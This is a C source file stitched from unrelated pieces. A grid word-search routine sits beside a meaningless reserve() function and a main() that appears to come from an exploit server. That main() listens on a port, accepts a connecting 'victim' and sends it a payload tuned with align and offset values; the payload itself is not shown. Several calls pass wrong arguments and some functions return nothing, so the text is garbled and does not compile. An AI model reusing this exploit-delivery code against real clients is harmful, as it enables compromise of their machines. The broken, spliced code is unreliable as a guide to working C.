void looking (_node** tree, char** grid, char* string, stack* stack, table* allWords)
{
int f = searchDictionary(tree,string);
int i;
if (f != -1)
{
if (f) tableAdd(allWords,string);
stackPrint(stack);
neighbors* n = getNeighbors (stackTop(stack));
for (i = 0; i < neighSize(n); ++i)
{
position* newPos = neighGet(n,i);
if (!stackFind(stack,newPos))
{
stackPush(stack,newPos);
char newString[strlen(string)+1];
strcpy(newString,string);
strcat(newString,&(grid[newPos->x][newPos->y]));
looking(tree,grid,newString,stack,allWords);
}
}
}
}
int reserve()
{
int i = 0,ret;
int table[256] = { 0 };
looking(table);
for(; i<NUMBER; i++)
ret = table[rand() % 256];
}
table* findAllWords (_node** tree, char** grid)
{
table* allWords = tableNew();
int i;
int j;
for (i = 0; i < SIZE_MAX_GRID; ++i)
{
for (j = 0; j < SIZE_MAX_GRID; ++j)
{
if (DEBUG) tablePrint(allWords);
position* p = malloc(sizeof(position));
p->x = i;
p->y = j;
stack* s = stackNew();
stackPush(s,p);
looking (tree, grid, &(grid[i][j]), s, allWords);
}
}
}
int
main(int argc, char **argv)
{
unsigned int align = 0, offset = 0, reuse = 1;
unsigned int port = PORT;
unsigned int cl_buf, opts;
signed int clisock_fd, sock_fd;
static char *exploit, *work;
struct sockaddr_in victim;
struct sockaddr_in confess;
if(argc < 2) {
banner();
example(exploit);
_exit(1);
}banner();
while((opts = getopt(argc, argv, "a:o:")) != -1) {
switch(opts)
{
case 'a':
align = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
default:
align = ALIGN;
offset = OFFSET;
}
}
if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
die("Could not create socket");
}
if(setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &reuse, sizeof(int)) == -1) {
die("Could not re-use socket");
}
memset(&confess, 0, sizeof(confess));
confess.sin_family = AF_INET;
confess.sin_port = htons(port);
confess.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(sock_fd, (struct sockaddr *)&confess, sizeof(struct sockaddr)) == -1) {
die("Could not bind socket");
}
if(listen(sock_fd, 0) == -1) {
die("Could not listen on socket");
}
printf(" -> Listening for a connection on port %d\n", port);
cl_buf = sizeof(victim);
clisock_fd = accept(sock_fd, (struct sockaddr *)&victim, &cl_buf);
fprintf(stderr, " -> Action: Attaching from host[%s]\n", inet_ntoa(victim.sin_addr));
if(pkg_prep(clisock_fd, align, offset) == 1) {
fprintf(stderr, "Could not prep package\n");
_exit(1);
}
if(pkg_send(clisock_fd, payload) == 1) {
fprintf(stderr, "Could not send package\n");
_exit(1);
}
sleep(2);
fprintf(stderr, " -> Test complete\n\n");
close(clisock_fd); looking(work);
return SUCCESS;
}